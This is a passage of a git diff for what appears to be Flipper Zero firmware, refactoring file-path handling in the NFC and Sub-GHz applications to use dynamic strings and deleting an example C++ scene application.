NfcViewTextInput); + + string_clear(folder_path); } bool nfc_scene_save_name_on_event(void* context, SceneManagerEvent event) { @@ -43,7 +56,7 @@ bool nfc_scene_save_name_on_event(void* context, SceneManagerEvent event) { if(event.type == SceneManagerEventTypeCustom) { if(event.event == NfcCustomEventTextInputDone) { if(strcmp(nfc->dev->dev_name, "")) { - nfc_device_delete(nfc->dev); + nfc_device_delete(nfc->dev, true); } if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneSetUid)) { nfc->dev->dev_data.nfc_data = nfc->dev_edit_data; diff --git a/applications/nfc/scenes/nfc_scene_save_success.c b/applications/nfc/scenes/nfc_scene_save_success.c index 985897a6d..5c15a509a 100644 --- a/applications/nfc/scenes/nfc_scene_save_success.c +++ b/applications/nfc/scenes/nfc_scene_save_success.c @@ -30,9 +30,6 @@ bool nfc_scene_save_success_on_event(void* context, SceneManagerEvent event) { if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneCardMenu)) { consumed = scene_manager_search_and_switch_to_previous_scene( nfc->scene_manager, NfcSceneCardMenu); - } else if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneSetType)) { - consumed = scene_manager_search_and_switch_to_another_scene( - nfc->scene_manager, NfcSceneFileSelect); } else if(scene_manager_has_previous_scene( nfc->scene_manager, NfcSceneMifareDesfireMenu)) { consumed = scene_manager_search_and_switch_to_previous_scene( diff --git a/applications/nfc/scenes/nfc_scene_saved_menu.c b/applications/nfc/scenes/nfc_scene_saved_menu.c index 1b435ccd1..f2b2dea37 100644 --- a/applications/nfc/scenes/nfc_scene_saved_menu.c +++ b/applications/nfc/scenes/nfc_scene_saved_menu.c @@ -78,7 +78,7 @@ bool nfc_scene_saved_menu_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(nfc->scene_manager, NfcSceneDeviceInfo); consumed = true; } else if(event.event == SubmenuIndexRestoreOriginal) { - if(!nfc_device_restore(nfc->dev)) { + if(!nfc_device_restore(nfc->dev, true)) { scene_manager_search_and_switch_to_previous_scene( nfc->scene_manager, NfcSceneStart); } else { diff --git a/applications/nfc/scenes/nfc_scene_set_type.c b/applications/nfc/scenes/nfc_scene_set_type.c index 0dbb4f7ea..0fe63424f 100755 --- a/applications/nfc/scenes/nfc_scene_set_type.c +++ b/applications/nfc/scenes/nfc_scene_set_type.c @@ -1,4 +1,5 @@ #include "../nfc_i.h" +#include "m-string.h" enum SubmenuIndex { SubmenuIndexNFCA4, @@ -16,6 +17,7 @@ void nfc_scene_set_type_on_enter(void* context) { Submenu* submenu = nfc->submenu; // Clear device name nfc_device_set_name(nfc->dev, ""); + string_set_str(nfc->dev->load_path, ""); submenu_add_item( submenu, "NFC-A 7-bytes UID", SubmenuIndexNFCA7, nfc_scene_set_type_submenu_callback, nfc); submenu_add_item( diff --git a/applications/power/power_service/views/power_off.c b/applications/power/power_service/views/power_off.c old mode 100755 new mode 100644 diff --git a/applications/scened_app_example/scene/scened_app_scene_byte_input.cpp b/applications/scened_app_example/scene/scened_app_scene_byte_input.cpp deleted file mode 100644 index 200252ad6..000000000 --- a/applications/scened_app_example/scene/scened_app_scene_byte_input.cpp +++ /dev/null @@ -1,35 +0,0 @@ -#include "scened_app_scene_byte_input.h" - -void ScenedAppSceneByteInput::on_enter(ScenedApp* app, bool /* need_restore */) { - ByteInputVM* byte_input = app->view_controller; - auto callback = cbc::obtain_connector(this, &ScenedAppSceneByteInput::result_callback); - - byte_input->set_result_callback(callback, NULL, app, data, 4); - byte_input->set_header_text("Enter the key"); - - app->view_controller.switch_to(); -} - -bool ScenedAppSceneByteInput::on_event(ScenedApp* app, ScenedApp::Event* event) { - bool consumed = false; - - if(event->type == ScenedApp::EventType::ByteEditResult) { - app->scene_controller.switch_to_previous_scene(); - consumed = true; - } - - return consumed; -} - -void ScenedAppSceneByteInput::on_exit(ScenedApp* app) { - app->view_controller.get()->clean(); -} - -void ScenedAppSceneByteInput::result_callback(void* context) { - ScenedApp* app = static_cast(context); - ScenedApp::Event event; - - event.type = ScenedApp::EventType::ByteEditResult; - - app->view_controller.send_event(&event); -} diff --git a/applications/scened_app_example/scene/scened_app_scene_byte_input.h b/applications/scened_app_example/scene/scened_app_scene_byte_input.h deleted file mode 100644 index 0f0b02acb..000000000 --- a/applications/scened_app_example/scene/scened_app_scene_byte_input.h +++ /dev/null @@ -1,19 +0,0 @@ -#pragma once -#include "../scened_app.h" - -class ScenedAppSceneByteInput : public GenericScene { -public: - void on_enter(ScenedApp* app, bool need_restore) final; - bool on_event(ScenedApp* app, ScenedApp::Event* event) final; - void on_exit(ScenedApp* app) final; - -private: - void result_callback(void* context); - - uint8_t data[4] = { - 0x01, - 0xA2, - 0xF4, - 0xD3, - }; -}; diff --git a/applications/scened_app_example/scene/scened_app_scene_start.cpp b/applications/scened_app_example/scene/scened_app_scene_start.cpp deleted file mode 100644 index 5538962ba..000000000 --- a/applications/scened_app_example/scene/scened_app_scene_start.cpp +++ /dev/null @@ -1,47 +0,0 @@ -#include "scened_app_scene_start.h" - -typedef enum { - SubmenuByteInput, -} SubmenuIndex; - -void ScenedAppSceneStart::on_enter(ScenedApp* app, bool need_restore) { - auto submenu = app->view_controller.get(); - auto callback = cbc::obtain_connector(this, &ScenedAppSceneStart::submenu_callback); - - submenu->add_item("Byte Input", SubmenuByteInput, callback, app); - - if(need_restore) { - submenu->set_selected_item(submenu_item_selected); - } - app->view_controller.switch_to(); -} - -bool ScenedAppSceneStart::on_event(ScenedApp* app, ScenedApp::Event* event) { - bool consumed = false; - - if(event->type == ScenedApp::EventType::MenuSelected) { - submenu_item_selected = event->payload.menu_index; - switch(event->payload.menu_index) { - case SubmenuByteInput: - app->scene_controller.switch_to_next_scene(ScenedApp::SceneType::ByteInputScene); - break; - } - consumed = true; - } - - return consumed; -} - -void ScenedAppSceneStart::on_exit(ScenedApp* app) { - app->view_controller.get()->clean(); -} - -void ScenedAppSceneStart::submenu_callback(void* context, uint32_t index) { - ScenedApp* app = static_cast(context); - ScenedApp::Event event; - - event.type = ScenedApp::EventType::MenuSelected; - event.payload.menu_index = index; - - app->view_controller.send_event(&event); -} diff --git a/applications/scened_app_example/scene/scened_app_scene_start.h b/applications/scened_app_example/scene/scened_app_scene_start.h deleted file mode 100644 index 8324a20fd..000000000 --- a/applications/scened_app_example/scene/scened_app_scene_start.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once -#include "../scened_app.h" - -class ScenedAppSceneStart : public GenericScene { -public: - void on_enter(ScenedApp* app, bool need_restore) final; - bool on_event(ScenedApp* app, ScenedApp::Event* event) final; - void on_exit(ScenedApp* app) final; - -private: - void submenu_callback(void* context, uint32_t index); - uint32_t submenu_item_selected = 0; -}; diff --git a/applications/scened_app_example/scened_app.cpp b/applications/scened_app_example/scened_app.cpp deleted file mode 100644 index 64040b22d..000000000 --- a/applications/scened_app_example/scened_app.cpp +++ /dev/null @@ -1,20 +0,0 @@ -#include "scened_app.h" -#include "scene/scened_app_scene_start.h" -#include "scene/scened_app_scene_byte_input.h" - -ScenedApp::ScenedApp() - : scene_controller{this} - , text_store{128} - , notification{"notification"} { -} - -ScenedApp::~ScenedApp() { -} - -void ScenedApp::run() { - scene_controller.add_scene(SceneType::Start, new ScenedAppSceneStart()); - scene_controller.add_scene(SceneType::ByteInputScene, new ScenedAppSceneByteInput()); - - notification_message(notification, &sequence_blink_green_10); - scene_controller.process(100); -} diff --git a/applications/scened_app_example/scened_app.h b/applications/scened_app_example/scened_app.h deleted file mode 100644 index c6cecb477..000000000 --- a/applications/scened_app_example/scened_app.h +++ /dev/null @@ -1,47 +0,0 @@ -#pragma once -#include -#include - -#include -#include -#include -#include -#include - -#include -#include - -#include - -class ScenedApp { -public: - enum class EventType : uint8_t { - GENERIC_EVENT_ENUM_VALUES, - MenuSelected, - ByteEditResult, - }; - - enum class SceneType : uint8_t { - GENERIC_SCENE_ENUM_VALUES, - ByteInputScene, - }; - - class Event { - public: - union { - int32_t menu_index; - } payload; - - EventType type; - }; - - SceneController, ScenedApp> scene_controller; - TextStore text_store; - ViewController view_controller; - RecordController notification; - - ~ScenedApp(); - ScenedApp(); - - void run(); -}; diff --git a/applications/scened_app_example/scened_app_launcher.cpp b/applications/scened_app_example/scened_app_launcher.cpp deleted file mode 100644 index 3d0bdfcaf..000000000 --- a/applications/scened_app_example/scened_app_launcher.cpp +++ /dev/null @@ -1,11 +0,0 @@ -#include "scened_app.h" - -// app enter function -extern "C" int32_t scened_app(void* p) { - UNUSED(p); - ScenedApp* app = new ScenedApp(); - app->run(); - delete app; - - return 0; -} diff --git a/applications/storage/storage_cli.c b/applications/storage/storage_cli.c index b35e37a89..4ce91770a 100644 --- a/applications/storage/storage_cli.c +++ b/applications/storage/storage_cli.c @@ -593,7 +593,7 @@ static void storage_cli_factory_reset(Cli* cli, string_t args, void* context) { void storage_on_system_start() { #ifdef SRV_CLI Cli* cli = furi_record_open("cli"); - cli_add_command(cli, "storage", CliCommandFlagDefault, storage_cli, NULL); + cli_add_command(cli, "storage", CliCommandFlagParallelSafe, storage_cli, NULL); cli_add_command( cli, "factory_reset", CliCommandFlagParallelSafe, storage_cli_factory_reset, NULL); furi_record_close("cli"); diff --git a/applications/storage_settings/scenes/storage_settings_scene_unmounted.c b/applications/storage_settings/scenes/storage_settings_scene_unmounted.c old mode 100644 new mode 100755 diff --git a/applications/subghz/helpers/subghz_custom_event.h b/applications/subghz/helpers/subghz_custom_event.h index eac2eb1c0..f31b69d6a 100644 --- a/applications/subghz/helpers/subghz_custom_event.h +++ b/applications/subghz/helpers/subghz_custom_event.h @@ -44,6 +44,6 @@ typedef enum { SubGhzCustomEventViewTransmitterSendStart, SubGhzCustomEventViewTransmitterSendStop, SubGhzCustomEventViewTransmitterError, - + SubGhzCustomEventByteInputDone, } SubGhzCustomEvent; diff --git a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c index 93a3ed86f..69e597595 100644 --- a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c +++ b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c @@ -3,8 +3,6 @@ #include -#include "../subghz_i.h" - #define TAG "SubghzFrequencyAnalyzerWorker" #define SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD -95.0f @@ -182,6 +180,9 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { osDelay(3); rssi = furi_hal_subghz_get_rssi(); + + FURI_LOG_T(TAG, "#:%u:%f", frequency, (double)rssi); + if(frequency_rssi.rssi < rssi) { frequency_rssi.rssi = rssi; frequency_rssi.frequency = frequency; @@ -222,7 +223,8 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { return 0; } -SubGhzFrequencyAnalyzerWorker* subghz_frequency_analyzer_worker_alloc() { +SubGhzFrequencyAnalyzerWorker* subghz_frequency_analyzer_worker_alloc(void* context) { + furi_assert(context); SubGhzFrequencyAnalyzerWorker* instance = malloc(sizeof(SubGhzFrequencyAnalyzerWorker)); instance->thread = furi_thread_alloc(); @@ -231,8 +233,8 @@ SubGhzFrequencyAnalyzerWorker* subghz_frequency_analyzer_worker_alloc() { furi_thread_set_context(instance->thread, instance); furi_thread_set_callback(instance->thread, subghz_frequency_analyzer_worker_thread); - instance->setting = subghz_setting_alloc(); - subghz_setting_load(instance->setting, "/ext/subghz/assets/setting_frequency_analyzer_user"); + SubGhz* subghz = context; + instance->setting = subghz->setting; return instance; } @@ -240,7 +242,6 @@ void subghz_frequency_analyzer_worker_free(SubGhzFrequencyAnalyzerWorker* instan furi_assert(instance); furi_thread_free(instance->thread); - subghz_setting_free(instance->setting); free(instance); } diff --git a/applications/subghz/helpers/subghz_frequency_analyzer_worker.h b/applications/subghz/helpers/subghz_frequency_analyzer_worker.h index 93f7caf01..424270a03 100644 --- a/applications/subghz/helpers/subghz_frequency_analyzer_worker.h +++ b/applications/subghz/helpers/subghz_frequency_analyzer_worker.h @@ -1,6 +1,7 @@ #pragma once #include +#include "../subghz_i.h" typedef struct SubGhzFrequencyAnalyzerWorker SubGhzFrequencyAnalyzerWorker; @@ -14,9 +15,10 @@ typedef struct { /** Allocate SubGhzFrequencyAnalyzerWorker * + * @param context SubGhz* context * @return SubGhzFrequencyAnalyzerWorker* */ -SubGhzFrequencyAnalyzerWorker* subghz_frequency_analyzer_worker_alloc(); +SubGhzFrequencyAnalyzerWorker* subghz_frequency_analyzer_worker_alloc(void* context); /** Free SubGhzFrequencyAnalyzerWorker * diff --git a/applications/subghz/scenes/subghz_scene_delete.c b/applications/subghz/scenes/subghz_scene_delete.c index 83d6d4751..43151de20 100644 --- a/applications/subghz/scenes/subghz_scene_delete.c +++ b/applications/subghz/scenes/subghz_scene_delete.c @@ -49,7 +49,7 @@ bool subghz_scene_delete_on_event(void* context, SceneManagerEvent event) { SubGhz* subghz = context; if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventSceneDelete) { - strncpy(subghz->file_path_tmp, subghz->file_path, SUBGHZ_MAX_LEN_NAME); + string_set(subghz->file_path_tmp, subghz->file_path); if(subghz_delete_file(subghz)) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneDeleteSuccess); } else { diff --git a/applications/subghz/scenes/subghz_scene_delete_raw.c b/applications/subghz/scenes/subghz_scene_delete_raw.c index 03f0eb81b..a20968d5b 100644 --- a/applications/subghz/scenes/subghz_scene_delete_raw.c +++ b/applications/subghz/scenes/subghz_scene_delete_raw.c @@ -24,7 +24,7 @@ void subghz_scene_delete_raw_on_enter(void* context) { char delete_str[SUBGHZ_MAX_LEN_NAME + 16]; string_t file_name; string_init(file_name); - path_extract_filename_no_ext(subghz->file_path, file_name); + path_extract_filename(subghz->file_path, file_name, true); snprintf(delete_str, sizeof(delete_str), "\e#Delete %s?\e#", string_get_cstr(file_name)); string_clear(file_name); @@ -61,7 +61,7 @@ bool subghz_scene_delete_raw_on_event(void* context, SceneManagerEvent event) { SubGhz* subghz = context; if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventSceneDeleteRAW) { - strncpy(subghz->file_path_tmp, subghz->file_path, SUBGHZ_MAX_LEN_NAME); + string_set(subghz->file_path_tmp, subghz->file_path); if(subghz_delete_file(subghz)) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneDeleteSuccess); } else { diff --git a/applications/subghz/scenes/subghz_scene_more_raw.c b/applications/subghz/scenes/subghz_scene_more_raw.c index 54bd08158..a5bade927 100644 --- a/applications/subghz/scenes/subghz_scene_more_raw.c +++ b/applications/subghz/scenes/subghz_scene_more_raw.c @@ -45,7 +45,7 @@ bool subghz_scene_more_raw_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneDeleteRAW); return true; } else if(event.event == SubmenuIndexEdit) { - memset(subghz->file_path_tmp, 0, sizeof(subghz->file_path_tmp)); + string_reset(subghz->file_path_tmp); scene_manager_set_scene_state( subghz->scene_manager, SubGhzSceneMoreRAW, SubmenuIndexEdit); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSaveName); diff --git a/applications/subghz/scenes/subghz_scene_read_raw.c b/applications/subghz/scenes/subghz_scene_read_raw.c index 5323bfe58..4e60f1b60 100644 --- a/applications/subghz/scenes/subghz_scene_read_raw.c +++ b/applications/subghz/scenes/subghz_scene_read_raw.c @@ -25,7 +25,7 @@ bool subghz_scene_read_raw_update_filename(SubGhz* subghz) { break; } - strncpy(subghz->file_path, string_get_cstr(temp_str), SUBGHZ_MAX_LEN_NAME); + string_set(subghz->file_path, temp_str); ret = true; } while(false); @@ -75,13 +75,13 @@ void subghz_scene_read_raw_on_enter(void* context) { subghz_read_raw_set_status(subghz->subghz_read_raw, SubGhzReadRAWStatusIDLE, ""); break; case SubGhzRxKeyStateRAWLoad: - path_extract_filename_no_ext(subghz->file_path, file_name); + path_extract_filename(subghz->file_path, file_name, true); subghz_read_raw_set_status( subghz->subghz_read_raw, SubGhzReadRAWStatusLoadKeyTX, string_get_cstr(file_name)); subghz->txrx->rx_key_state = SubGhzRxKeyStateIDLE; break; case SubGhzRxKeyStateRAWSave: - path_extract_filename_no_ext(subghz->file_path, file_name); + path_extract_filename(subghz->file_path, file_name, true); subghz_read_raw_set_status( subghz->subghz_read_raw, SubGhzReadRAWStatusSaveKey, string_get_cstr(file_name)); subghz->txrx->rx_key_state = SubGhzRxKeyStateIDLE; @@ -171,7 +171,7 @@ bool subghz_scene_read_raw_on_event(void* context, SceneManagerEvent event) { case SubGhzCustomEventViewReadRAWErase: subghz->txrx->rx_key_state = SubGhzRxKeyStateIDLE; if(subghz_scene_read_raw_update_filename(subghz)) { - strncpy(subghz->file_path_tmp, subghz->file_path, SUBGHZ_MAX_LEN_NAME); + string_set(subghz->file_path_tmp, subghz->file_path); subghz_delete_file(subghz); } notification_message(subghz->notifications, &sequence_reset_rgb); @@ -281,7 +281,6 @@ bool subghz_scene_read_raw_on_event(void* context, SceneManagerEvent event) { , datetime.year, datetime.month, datetime.day , datetime.hour, datetime.minute ); - if(subghz_protocol_raw_save_to_file_init( (SubGhzProtocolDecoderRAW*)subghz->txrx->decoder_result, strings[0], @@ -296,7 +295,7 @@ bool subghz_scene_read_raw_on_event(void* context, SceneManagerEvent event) { subghz->state_notifications = SubGhzNotificationStateRx; subghz->txrx->rx_key_state = SubGhzRxKeyStateAddKey; } else { - string_set(subghz->error_str, "Function requires\nan SD card."); + string_set_str(subghz->error_str, "Function requires\nan SD card."); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } } diff --git a/applications/subghz/scenes/subghz_scene_receiver_info.c b/applications/subghz/scenes/subghz_scene_receiver_info.c index 8a2637b21..950ea0d24 100644 --- a/applications/subghz/scenes/subghz_scene_receiver_info.c +++ b/applications/subghz/scenes/subghz_scene_receiver_info.c @@ -84,6 +84,7 @@ void subghz_scene_receiver_info_on_enter(void* context) { subghz_scene_receiver_info_callback, subghz); } + // Removed static check if(((subghz->txrx->decoder_result->protocol->flag & SubGhzProtocolFlag_Send) == SubGhzProtocolFlag_Send) && subghz->txrx->decoder_result->protocol->encoder->deserialize) { @@ -157,6 +158,7 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event) if(!subghz_scene_receiver_info_update_parser(subghz)) { return false; } + if((subghz->txrx->decoder_result->protocol->flag & SubGhzProtocolFlag_Save) == SubGhzProtocolFlag_Save) { subghz_file_name_clear(subghz); diff --git a/applications/subghz/scenes/subghz_scene_save_name.c b/applications/subghz/scenes/subghz_scene_save_name.c index 617709cc7..95fc19388 100644 --- a/applications/subghz/scenes/subghz_scene_save_name.c +++ b/applications/subghz/scenes/subghz_scene_save_name.c @@ -1,4 +1,6 @@ #include "../subghz_i.h" +#include "m-string.h" +#include "subghz/types.h" #include #include "../helpers/subghz_custom_event.h" #include @@ -20,45 +22,49 @@ void subghz_scene_save_name_on_enter(void* context) { bool dev_name_empty = false; string_t file_name; + string_t dir_name; string_init(file_name); + string_init(dir_name); - if(!strcmp(subghz->file_path, "")) { + if(!subghz_path_is_file(subghz->file_path)) { char file_name_buf[SUBGHZ_MAX_LEN_NAME] = {0}; set_random_name(file_name_buf, SUBGHZ_MAX_LEN_NAME); - string_set(file_name, file_name_buf); - strncpy(subghz->file_dir, SUBGHZ_APP_FOLDER, SUBGHZ_MAX_LEN_NAME); + string_set_str(file_name, file_name_buf); + string_set_str(subghz->file_path, SUBGHZ_APP_FOLDER); //highlighting the entire filename by default dev_name_empty = true; } else { - strncpy(subghz->file_path_tmp, subghz->file_path, SUBGHZ_MAX_LEN_NAME); - path_extract_dirname(subghz->file_path, file_name); - strncpy(subghz->file_dir, string_get_cstr(file_name), SUBGHZ_MAX_LEN_NAME); - path_extract_filename_no_ext(subghz->file_path, file_name); + string_set(subghz->file_path_tmp, subghz->file_path); + path_extract_dirname(string_get_cstr(subghz->file_path), dir_name); + path_extract_filename(subghz->file_path, file_name, true); if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) != SubGhzCustomEventManagerNoSet) { subghz_get_next_name_file(subghz, SUBGHZ_MAX_LEN_NAME); - path_extract_filename_no_ext(subghz->file_path, file_name); + path_extract_filename(subghz->file_path, file_name, true); if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) == SubGhzCustomEventManagerSetRAW) { dev_name_empty = true; } } + string_set(subghz->file_path, dir_name); } - strncpy(subghz->file_path, string_get_cstr(file_name), SUBGHZ_MAX_LEN_NAME); + + strncpy(subghz->file_name_tmp, string_get_cstr(file_name), SUBGHZ_MAX_LEN_NAME); text_input_set_header_text(text_input, "Name signal"); text_input_set_result_callback( text_input, subghz_scene_save_name_text_input_callback, subghz, - subghz->file_path, + subghz->file_name_tmp, MAX_TEXT_INPUT_LEN, // buffer size dev_name_empty); - ValidatorIsFile* validator_is_file = - validator_is_file_alloc_init(subghz->file_dir, SUBGHZ_APP_EXTENSION, NULL); + ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( + string_get_cstr(subghz->file_path), SUBGHZ_APP_EXTENSION, NULL); text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); string_clear(file_name); + string_clear(dir_name); view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdTextInput); } @@ -66,18 +72,15 @@ void subghz_scene_save_name_on_enter(void* context) { bool subghz_scene_save_name_on_event(void* context, SceneManagerEvent event) { SubGhz* subghz = context; if(event.type == SceneManagerEventTypeBack) { - strncpy(subghz->file_path, subghz->file_path_tmp, SUBGHZ_MAX_LEN_NAME); + string_set(subghz->file_path, subghz->file_path_tmp); scene_manager_previous_scene(subghz->scene_manager); return true; } else if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventSceneSaveName) { - if(strcmp(subghz->file_path, "")) { - string_t temp_str; - string_init_printf( - temp_str, "%s/%s%s", subghz->file_dir, subghz->file_path, SUBGHZ_APP_EXTENSION); - strncpy(subghz->file_path, string_get_cstr(temp_str), SUBGHZ_MAX_LEN_NAME); - string_clear(temp_str); - if(strcmp(subghz->file_path_tmp, "")) { + if(strcmp(subghz->file_name_tmp, "")) { + string_cat_printf( + subghz->file_path, "/%s%s", subghz->file_name_tmp, SUBGHZ_APP_EXTENSION); + if(subghz_path_is_file(subghz->file_path_tmp)) { if(!subghz_rename_file(subghz)) { return false; } @@ -85,7 +88,7 @@ bool subghz_scene_save_name_on_event(void* context, SceneManagerEvent event) { if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneSetType) != SubGhzCustomEventManagerNoSet) { subghz_save_protocol_to_file( - subghz, subghz->txrx->fff_data, subghz->file_path); + subghz, subghz->txrx->fff_data, string_get_cstr(subghz->file_path)); scene_manager_set_scene_state( subghz->scene_manager, SubGhzSceneSetType, @@ -95,13 +98,14 @@ bool subghz_scene_save_name_on_event(void* context, SceneManagerEvent event) { subghz, subghz_history_get_raw_data( subghz->txrx->history, subghz->txrx->idx_menu_chosen), - subghz->file_path); + string_get_cstr(subghz->file_path)); } } if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) != SubGhzCustomEventManagerNoSet) { - subghz_protocol_raw_gen_fff_data(subghz->txrx->fff_data, subghz->file_path); + subghz_protocol_raw_gen_fff_data( + subghz->txrx->fff_data, string_get_cstr(subghz->file_path)); scene_manager_set_scene_state( subghz->scene_manager, SubGhzSceneReadRAW, SubGhzCustomEventManagerNoSet); } else { @@ -111,7 +115,7 @@ bool subghz_scene_save_name_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSaveSuccess); return true; } else { - string_set(subghz->error_str, "No name file"); + string_set_str(subghz->error_str, "No name file"); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub); return true; } diff --git a/applications/subghz/scenes/subghz_scene_set_type.c b/applications/subghz/scenes/subghz_scene_set_type.c index 206863f4d..add461c93 100644 --- a/applications/subghz/scenes/subghz_scene_set_type.c +++ b/applications/subghz/scenes/subghz_scene_set_type.c @@ -49,7 +49,7 @@ bool subghz_scene_set_type_submenu_gen_data_protocol( subghz_receiver_search_decoder_base_by_name(subghz->txrx->receiver, protocol_name); if(subghz->txrx->decoder_result == NULL) { - string_set(subghz->error_str, "Protocol not found"); + string_set_str(subghz->error_str, "Protocol not found"); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub); return false; } @@ -340,7 +340,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { } subghz_transmitter_free(subghz->txrx->transmitter); if(!generated_protocol) { - string_set( + string_set_str( subghz->error_str, "Function requires\nan SD card with\nfresh databases."); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } @@ -364,12 +364,12 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { } subghz_transmitter_free(subghz->txrx->transmitter); if(!generated_protocol) { - string_set( + string_set_str( subghz->error_str, "Function requires\nan SD card with\nfresh databases."); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } break; - case SubmenuIndexLiftMaster_315_00: + case SubmenuIndexLiftMaster_315_00: while(!subghz_protocol_secplus_v1_check_fixed(key)) { key = subghz_random_serial(); } diff --git a/applications/subghz/scenes/subghz_scene_transmitter.c b/applications/subghz/scenes/subghz_scene_transmitter.c index 38ab84994..b8b22749c 100644 --- a/applications/subghz/scenes/subghz_scene_transmitter.c +++ b/applications/subghz/scenes/subghz_scene_transmitter.c @@ -94,7 +94,7 @@ bool subghz_scene_transmitter_on_event(void* context, SceneManagerEvent event) { subghz->scene_manager, SubGhzSceneStart); return true; } else if(event.event == SubGhzCustomEventViewTransmitterError) { - string_set(subghz->error_str, "Protocol not found"); + string_set_str(subghz->error_str, "Protocol not found"); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub); } } else if(event.type == SceneManagerEventTypeTick) { diff --git a/applications/subghz/subghz.c b/applications/subghz/subghz.c index 99c9db452..d8f620c2a 100644 --- a/applications/subghz/subghz.c +++ b/applications/subghz/subghz.c @@ -1,5 +1,7 @@ /* Abandon hope, all ye who enter here. */ +#include "m-string.h" +#include "subghz/types.h" #include "subghz_i.h" #include @@ -24,6 +26,9 @@ void subghz_tick_event_callback(void* context) { SubGhz* subghz_alloc() { SubGhz* subghz = malloc(sizeof(SubGhz)); + string_init(subghz->file_path); + string_init(subghz->file_path_tmp); + // GUI subghz->gui = furi_record_open("gui"); @@ -144,6 +149,7 @@ SubGhz* subghz_alloc() { subghz->txrx->worker = subghz_worker_alloc(); subghz->txrx->fff_data = flipper_format_string_alloc(); subghz->txrx->secure_data = malloc(sizeof(SecureData)); + subghz->txrx->environment = subghz_environment_alloc(); subghz_environment_set_came_atomo_rainbow_table_file_name( subghz->txrx->environment, "/ext/subghz/assets/came_atomo"); @@ -251,9 +257,9 @@ void subghz_free(SubGhz* subghz) { furi_record_close("notification"); subghz->notifications = NULL; - // About birds - furi_assert(subghz->file_path[SUBGHZ_MAX_LEN_NAME] == 0); - furi_assert(subghz->file_path_tmp[SUBGHZ_MAX_LEN_NAME] == 0); + // Path strings + string_clear(subghz->file_path); + string_clear(subghz->file_path_tmp); // The rest free(subghz); @@ -270,7 +276,7 @@ int32_t subghz_app(void* p) { // Check argument and run corresponding scene if(p) { if(subghz_key_load(subghz, p)) { - strncpy(subghz->file_path, p, SUBGHZ_MAX_LEN_NAME); + string_set_str(subghz->file_path, p); if((!strcmp(subghz->txrx->decoder_result->protocol->name, "RAW"))) { //Load Raw TX @@ -286,12 +292,13 @@ int32_t subghz_app(void* p) { view_dispatcher_stop(subghz->view_dispatcher); } } else { + string_set_str(subghz->file_path, SUBGHZ_APP_FOLDER); if(load_database) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneStart); } else { scene_manager_set_scene_state( subghz->scene_manager, SubGhzSceneShowError, SubGhzCustomEventManagerSet); - string_set( + string_set_str( subghz->error_str, "No SD card or\ndatabase found.\nSome app function\nmay be reduced."); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); diff --git a/applications/subghz/subghz_cli.c b/applications/subghz/subghz_cli.c index f919e1cf2..6c92a5d6b 100644 --- a/applications/subghz/subghz_cli.c +++ b/applications/subghz/subghz_cli.c @@ -303,7 +303,7 @@ void subghz_cli_command_decode_raw(Cli* cli, string_t args, void* context) { UNUSED(context); string_t file_name; string_init(file_name); - string_set(file_name, "/any/subghz/test.sub"); + string_set_str(file_name, "/any/subghz/test.sub"); Storage* storage = furi_record_open("storage"); FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); diff --git a/applications/subghz/subghz_history.c b/applications/subghz/subghz_history.c index cb30726ba..a8f86eecb 100644 --- a/applications/subghz/subghz_history.c +++ b/applications/subghz/subghz_history.c @@ -169,14 +169,14 @@ bool subghz_history_add_to_history( break; } if(!strcmp(string_get_cstr(instance->tmp_string), "KeeLoq")) { - string_set(instance->tmp_string, "KL "); + string_set_str(instance->tmp_string, "KL "); if(!flipper_format_read_string(item->flipper_string, "Manufacture", text)) { FURI_LOG_E(TAG, "Missing Protocol"); break; } string_cat(instance->tmp_string, text); } else if(!strcmp(string_get_cstr(instance->tmp_string), "Star Line")) { - string_set(instance->tmp_string, "SL "); + string_set_str(instance->tmp_string, "SL "); if(!flipper_format_read_string(item->flipper_string, "Manufacture", text)) { FURI_LOG_E(TAG, "Missing Protocol"); break; diff --git a/applications/subghz/subghz_i.c b/applications/subghz/subghz_i.c index 690e85f74..5439fd2a9 100644 --- a/applications/subghz/subghz_i.c +++ b/applications/subghz/subghz_i.c @@ -1,5 +1,8 @@ #include "subghz_i.h" +#include "assets_icons.h" +#include "m-string.h" +#include "subghz/types.h" #include #include #include @@ -45,11 +48,11 @@ void 